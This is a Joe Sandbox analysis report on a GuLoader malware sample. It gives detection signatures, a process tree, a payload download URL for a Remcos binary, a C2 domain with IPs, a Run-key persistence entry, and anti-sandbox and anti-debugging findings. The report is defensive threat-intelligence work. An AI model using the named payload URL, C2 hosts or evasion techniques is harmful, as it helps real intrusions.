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Analysis Report SecuriteInfo.com.__vbaHresultCheckObj.9138.5973…

Overview

General Information

Sample 
Name:

SecuriteInfo.com.__vbaHr
esultCheckObj.9138.5973 
(renamed file extension 
from 5973 to exe)

Analysis ID: 430702

MD5: 6aa873ee68b607…

SHA1: c1a1601ce429cf7…

SHA256: 32dcdbac829f1b6…

Tags: exe

Infos:

Most interesting Screenshot:

Detection

GuLoaderGuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hardContains functionality to detect hard……

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instructionDetected RDTSC dummy instruction……

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript Sigma detected: WScript or CScript ……

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.runTries to detect Any.run

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to enumerate 

Contains functionality to enumerate 

Contains functionality to enumerate 

Contains functionality to enumerate 

Contains functionality to enumerate 

Contains functionality to enumerate 

Contains functionality to enumerate Contains functionality to enumerate ……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direcCreates files inside the system direc……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or VFound WSH timer for Javascript or V……

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

SecuriteInfo.com.__vbaHresultCheckObj.9138.exe (PID: 5452 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe'  MD5: 

6AA873EE68B60704E3D00F5C885A90F7)
SecuriteInfo.com.__vbaHresultCheckObj.9138.exe (PID: 768 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe'  MD5: 

6AA873EE68B60704E3D00F5C885A90F7)
wscript.exe (PID: 5524 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\install.vbs'  MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 4696 cmdline: 'C:\Windows\System32\cmd.exe' /c 'C:\Users\user\AppData\Roaming\win.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

win.exe (PID: 4976 cmdline: C:\Users\user\AppData\Roaming\win.exe MD5: 6AA873EE68B60704E3D00F5C885A90F7)

win.exe (PID: 4580 cmdline: C:\Users\user\AppData\Roaming\win.exe MD5: 6AA873EE68B60704E3D00F5C885A90F7)

win.exe (PID: 5864 cmdline: 'C:\Users\user\AppData\Roaming\win.exe'  MD5: 6AA873EE68B60704E3D00F5C885A90F7)

win.exe (PID: 5160 cmdline: 'C:\Users\user\AppData\Roaming\win.exe'  MD5: 6AA873EE68B60704E3D00F5C885A90F7)

win.exe (PID: 5848 cmdline: 'C:\Users\user\AppData\Roaming\win.exe'  MD5: 6AA873EE68B60704E3D00F5C885A90F7)

win.exe (PID: 5280 cmdline: 'C:\Users\user\AppData\Roaming\win.exe'  MD5: 6AA873EE68B60704E3D00F5C885A90F7)

cleanup

{

  "Payload URL": "http://ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin"

}

Source Rule Description Author Strings

00000011.00000002.481658634.00000000020A
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

00000010.00000002.540773096.0000000002B4
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps
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Sigma Overview

System Summary:

Sigma detected: WScript or CScript Dropper

Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Networking:

C2 URLs / IPs found in malware configuration

System Summary:

Data Obfuscation:

Yara detected GuLoader

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Anti Debugging:

Hides threads from debuggers

Mitre Att&ck Matrix

00000014.00000000.436722263.000000000056
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

00000015.00000002.544208632.000000000056
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

0000000F.00000002.481233554.00000000021F
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

Click to see the 6 entries

Source Rule Description Author Strings

Copyright Joe Security LLC 2021 Page 5 of 24
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Behavior Graph

ID: 430702

Sample: SecuriteInfo.com.__vbaHresu...

Startdate: 07/06/2021

Architecture: WINDOWS

Score: 100

Multi AV Scanner detection
for domain / URL

Found malware configuration Multi AV Scanner detection
for submitted file

4 other signatures

SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

2

        started       

win.exe

1

        started       

win.exe

1

        started       

Contains functionality
to detect hardware virtualization
(CPUID execution measurement)

Detected RDTSC dummy
instruction sequence
(likely for instruction

hammering)

Tries to detect Any.run Tries to detect virtualization
through RDTSC time measurements

SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

4 10

        started       Hides threads from debuggers

win.exe

6

        started       

win.exe

6

        started       

ztechinternational.com

192.185.113.219, 49715, 49718, 49720

UNIFIEDLAYER-AS-1US

United States

C:\Users\user\AppData\Roaming\win.exe, PE32

dropped

C:\Users\user\...\win.exe:Zone.Identifier, ASCII

dropped

C:\Users\user\AppData\Local\...\install.vbs, data

dropped

Tries to detect Any.run Hides threads from debuggers

wscript.exe

1

        started       

cmd.exe

1

        started       

win.exe

1

        started       

conhost.exe

        started       

Multi AV Scanner detection
for dropped file

Contains functionality
to detect hardware virtualization
(CPUID execution measurement)

Detected RDTSC dummy
instruction sequence
(likely for instruction

hammering)

3 other signatures

win.exe

2 7

        started       

gsyagvxnzmkoplbhduisbagtevcnxmzlopljdgye.ydns.eu

188.72.110.19, 2177

TRABIAMD

Netherlands

ztechinternational.com

Tries to detect Any.run Hides threads from debuggers

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

SecuriteInfo.com.__vbaHresultCheckObj.9138.exe 32% Virustotal Browse

SecuriteInfo.com.__vbaHresultCheckObj.9138.exe 13% ReversingLabs Win32.Trojan.Vebzenpak

Source Detection Scanner Label Link

C:\Users\user\AppData\Roaming\win.exe 13% ReversingLabs Win32.Trojan.Vebzenpak

No Antivirus matches

Source Detection Scanner Label Link

gsyagvxnzmkoplbhduisbagtevcnxmzlopljdgye.ydns.eu 10% Virustotal Browse

ztechinternational.com 0% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 24

https://www.virustotal.com/gui/file/32dcdbac829f1b6607c1581488a6cf95541fba686f5f81c23b9e1e79761a971b/detection/f-32dcdbac829f1b6607c1581488a6cf95541fba686f5f81c23b9e1e79761a971b-1623088868
https://www.virustotal.com/gui/url/efd7cc87f73aa2f8efff1682686b74ed4ca56cad27fe55719419ab838aed468c/detection/u-efd7cc87f73aa2f8efff1682686b74ed4ca56cad27fe55719419ab838aed468c-1623084496
https://www.virustotal.com/gui/url/1abcc32cc727a14cc39df7a3c2622e9bd755c3f05eb64d9ac5fcd9208d3c3a14/detection/u-1abcc32cc727a14cc39df7a3c2622e9bd755c3f05eb64d9ac5fcd9208d3c3a14-1545655923


General Information

Joe Sandbox Version: 32.0.0 Black Diamond

Analysis ID: 430702

Start date: 07.06.2021

Start time: 20:38:28

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 8s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: SecuriteInfo.com.__vbaHresultCheckObj.9138.5973 
(renamed file extension from 5973 to exe)

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 36

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Source Detection Scanner Label Link

ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.binH 0% Avira URL Cloud safe

ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin 1% Virustotal Browse

ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin 0% Avira URL Cloud safe

ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.binz 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

gsyagvxnzmkoplbhduisbagtevcnxmzlopljdgye.ydns.
eu

188.72.110.19 true true 10%, Virustotal, Browse unknown

ztechinternational.com 192.185.113.219 true true 0%, Virustotal, Browse unknown

Name Malicious Antivirus Detection Reputation

ztechinternational.com/dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin true 1%, Virustotal, Browse
Avira URL Cloud: safe

unknown

IP Domain Country Flag ASN ASN Name Malicious

188.72.110.19 gsyagvxnzmkoplbhduisbag
tevcnxmzlopljdgye.ydns.eu

Netherlands 43289 TRABIAMD true

192.185.113.219 ztechinternational.com United States 46606 UNIFIEDLAYER-AS-1US true

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 9 of 24

https://www.virustotal.com/gui/url/e2a776f7cad0c6e2f22343eb222be14262d867bf5acc01a5c6ae2b8563669a57/detection/u-e2a776f7cad0c6e2f22343eb222be14262d867bf5acc01a5c6ae2b8563669a57-1623057029
https://www.virustotal.com/gui/url/efd7cc87f73aa2f8efff1682686b74ed4ca56cad27fe55719419ab838aed468c/detection/u-efd7cc87f73aa2f8efff1682686b74ed4ca56cad27fe55719419ab838aed468c-1623084496
https://www.virustotal.com/gui/url/1abcc32cc727a14cc39df7a3c2622e9bd755c3f05eb64d9ac5fcd9208d3c3a14/detection/u-1abcc32cc727a14cc39df7a3c2622e9bd755c3f05eb64d9ac5fcd9208d3c3a14-1545655923
https://www.virustotal.com/gui/url/e2a776f7cad0c6e2f22343eb222be14262d867bf5acc01a5c6ae2b8563669a57/detection/u-e2a776f7cad0c6e2f22343eb222be14262d867bf5acc01a5c6ae2b8563669a57-1623057029


Detection: MAL

Classification: mal100.troj.evad.winEXE@18/8@9/2

EGA Information: Failed

HDC Information: Successful, ratio: 2.1% (good quality ratio 0.6%)
Quality average: 15.2%
Quality standard deviation: 25.8%

HCA Information: Successful, ratio: 71%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Override analysis time to 240s for sample files 
taking high CPU consumption

Warnings:

Time Type Description

20:40:20 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run win "C:\Users\user\AppData\Roaming\win.exe"

20:40:28 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run win "C:\Users\user\AppData\Roaming\win.exe"

20:41:46 API Interceptor 866x Sleep call for process: win.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

192.185.113.219 MLJ.exe Get hash malicious Browse  ztechinte
rnational.
com/dk/Mai
ly%20_remc
os_poYYVI1
75.bin

Match Associated Sample Name / URL SHA 256 Detection Link Context

gsyagvxnzmkoplbhduisbagtevcnxmzloplj
dgye.ydns.eu

6NcvrNwxSh.exe Get hash malicious Browse 46.243.237.125

FcMJC6EWgP.exe Get hash malicious Browse 104.250.182.36

CLAVIS INVESTMENTS.xlsx Get hash malicious Browse 104.250.182.19

Jo_No_23539-2020-21.xlsx Get hash malicious Browse 46.243.239.27

04th-soa.xlsx Get hash malicious Browse 188.72.119.8

67e197ce_by_Libranalysis.exe Get hash malicious Browse 188.72.119.8

xw7XNGJuDd.exe Get hash malicious Browse 48.243.150.40

GaGrozugEz.exe Get hash malicious Browse 188.72.103.46

SecuriteInfo.com.Trojan.DownLoader33.63577.17975.exe Get hash malicious Browse 172.111.144.45

d30Q4vWTPV.exe Get hash malicious Browse 188.72.119.23

OyqjNB5U6L.exe Get hash malicious Browse 45.74.19.137

z58jIyPXMj.exe Get hash malicious Browse 46.243.222.26

SecuriteInfo.com.BehavesLike.Win32.Generic.tz.exe Get hash malicious Browse 172.111.156.27

Quote Requirement.doc Get hash malicious Browse 172.111.156.43

PMTI000021.doc Get hash malicious Browse 172.111.156.43

SecuriteInfo.com.FileRepMalware.exe Get hash malicious Browse 46.243.233.82

K8vJWv8Niw.exe Get hash malicious Browse 188.72.85.70

ztechinternational.com MLJ.exe Get hash malicious Browse 192.185.11
3.219

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/338735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338735/html/none?idtype=webid
https://view.joesandbox.com/analysis/334811/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334811/html/none?idtype=webid
https://view.joesandbox.com/analysis/334572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334572/html/none?idtype=webid
https://view.joesandbox.com/analysis/334439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334439/html/none?idtype=webid
https://view.joesandbox.com/analysis/333624/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333624/html/none?idtype=webid
https://view.joesandbox.com/analysis/327119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/327119/html/none?idtype=webid
https://view.joesandbox.com/analysis/326412/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326412/html/none?idtype=webid
https://view.joesandbox.com/analysis/313354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313354/html/none?idtype=webid
https://view.joesandbox.com/analysis/312670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/312670/html/none?idtype=webid
https://view.joesandbox.com/analysis/280694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280694/html/none?idtype=webid
https://view.joesandbox.com/analysis/280051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280051/html/none?idtype=webid
https://view.joesandbox.com/analysis/278167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278167/html/none?idtype=webid
https://view.joesandbox.com/analysis/259823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259823/html/none?idtype=webid
https://view.joesandbox.com/analysis/258262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258262/html/none?idtype=webid
https://view.joesandbox.com/analysis/258125/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258125/html/none?idtype=webid
https://view.joesandbox.com/analysis/258121/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258121/html/none?idtype=webid
https://view.joesandbox.com/analysis/257070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257070/html/none?idtype=webid
https://view.joesandbox.com/analysis/249436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249436/html/none?idtype=webid
https://view.joesandbox.com/analysis/338735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338735/html/none?idtype=webid


Match Associated Sample Name / URL SHA 256 Detection Link Context

UNIFIEDLAYER-AS-1US MLJ.exe Get hash malicious Browse 192.185.11
3.219

LEMOH.exe Get hash malicious Browse 162.241.21
9.209

03062021.exe Get hash malicious Browse 162.241.253.69

Shipment documents.exe Get hash malicious Browse 192.185.19
0.186

statistic-608048546.xls Get hash malicious Browse 192.185.22
5.204

statistic-608048546.xls Get hash malicious Browse 192.185.22
5.204

AHG QUOTE pdf 76530.exe Get hash malicious Browse 192.185.41.225

Invoice number FV0062022020.exe Get hash malicious Browse 74.220.199.6

Payment slip.exe Get hash malicious Browse 50.87.170.32

SOA_Outstanding_Balance.exe Get hash malicious Browse 192.185.129.69

RFQ K1062 PROJECT.exe Get hash malicious Browse 162.241.27.245

] New Order Vung Ang TPP Viet Nam.exe Get hash malicious Browse 192.185.20.31

oVA5JBAJutcna88.exe Get hash malicious Browse 50.87.253.188

a8eC6O6okf.exe Get hash malicious Browse 50.87.146.99

oNUUaugLQjvRcCL.exe Get hash malicious Browse 50.87.151.118

CAS No. 584-84-9.exe Get hash malicious Browse 162.144.13.239

CAS No. 9004-65-3.exe Get hash malicious Browse 162.144.13.239

02357#U260eThomas#Ud83d#Udce0.HTM Get hash malicious Browse 192.185.198.10

6dTTv9IdCw.exe Get hash malicious Browse 74.220.199.8

NEW ORDER 0034543PDF.exe Get hash malicious Browse 192.185.16
4.148

TRABIAMD KJN55hQKh2.exe Get hash malicious Browse 178.17.170.132

How-To-Get-A-Statement-From-Netspend.exe Get hash malicious Browse 192.121.87.53

t.exe Get hash malicious Browse 185.177.151.42

2f50000.exe Get hash malicious Browse 185.177.151.42

31768ba567580677ef466b1451e012d1fd35341ca7ec9.exe Get hash malicious Browse 178.175.148.83

IMG60378611.doc Get hash malicious Browse 178.175.148.83

IMG_50_78_63.xls Get hash malicious Browse 178.17.171.144

IMG_50_78_63.xls Get hash malicious Browse 178.17.171.144

PO_723_057_35.xls Get hash malicious Browse 178.17.171.144

PO_723_057_35.xls Get hash malicious Browse 178.17.171.144

IMG_785_08_87.doc Get hash malicious Browse 178.17.171.144

IMG_107_85_02_37.doc Get hash malicious Browse 178.17.171.144

Payment_Advice Pdf10375200148940150.doc Get hash malicious Browse 178.17.171.144

ETL_126_072_60.doc Get hash malicious Browse 178.17.171.144

IMG_102-05_78_6.doc Get hash malicious Browse 178.17.171.144

TaTYytHaBk.exe Get hash malicious Browse 178.17.170.112

SecuriteInfo.com.Trojan.Kronos.21.31435.exe Get hash malicious Browse 178.17.171.197

530000.exe Get hash malicious Browse 185.177.151.42

6a0000.exe Get hash malicious Browse 178.17.170.88

6d0000.exe Get hash malicious Browse 185.177.151.33

No context

No context

C:\Users\user\AppData\Local\Temp\install.vbs

Process: C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

File Type: data

Category: modified

Size (bytes): 400

Entropy (8bit): 3.4932995649361622

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/338735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338735/html/none?idtype=webid
https://view.joesandbox.com/analysis/338734/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338734/html/none?idtype=webid
https://view.joesandbox.com/analysis/338726/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338726/html/none?idtype=webid
https://view.joesandbox.com/analysis/338724/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338724/html/none?idtype=webid
https://view.joesandbox.com/analysis/338718/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338718/html/none?idtype=webid
https://view.joesandbox.com/analysis/338711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338711/html/none?idtype=webid
https://view.joesandbox.com/analysis/338685/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338685/html/none?idtype=webid
https://view.joesandbox.com/analysis/338653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338653/html/none?idtype=webid
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid
https://view.joesandbox.com/analysis/338593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338593/html/none?idtype=webid
https://view.joesandbox.com/analysis/338567/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338567/html/none?idtype=webid
https://view.joesandbox.com/analysis/338566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338566/html/none?idtype=webid
https://view.joesandbox.com/analysis/338549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338549/html/none?idtype=webid
https://view.joesandbox.com/analysis/338496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338496/html/none?idtype=webid
https://view.joesandbox.com/analysis/338434/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338434/html/none?idtype=webid
https://view.joesandbox.com/analysis/338427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338427/html/none?idtype=webid
https://view.joesandbox.com/analysis/338422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338422/html/none?idtype=webid
https://view.joesandbox.com/analysis/338250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338250/html/none?idtype=webid
https://view.joesandbox.com/analysis/338224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338224/html/none?idtype=webid
https://view.joesandbox.com/analysis/338180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338180/html/none?idtype=webid
https://view.joesandbox.com/analysis/333067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333067/html/none?idtype=webid
https://view.joesandbox.com/analysis/326293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326293/html/none?idtype=webid
https://view.joesandbox.com/analysis/313188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313188/html/none?idtype=webid
https://view.joesandbox.com/analysis/311379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311379/html/none?idtype=webid
https://view.joesandbox.com/analysis/306774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306774/html/none?idtype=webid
https://view.joesandbox.com/analysis/306767/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306767/html/none?idtype=webid
https://view.joesandbox.com/analysis/294329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294329/html/none?idtype=webid
https://view.joesandbox.com/analysis/294318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294318/html/none?idtype=webid
https://view.joesandbox.com/analysis/294221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294221/html/none?idtype=webid
https://view.joesandbox.com/analysis/294209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294209/html/none?idtype=webid
https://view.joesandbox.com/analysis/293916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293916/html/none?idtype=webid
https://view.joesandbox.com/analysis/293908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293908/html/none?idtype=webid
https://view.joesandbox.com/analysis/292569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292569/html/none?idtype=webid
https://view.joesandbox.com/analysis/292083/html/none?idtype=webid#static
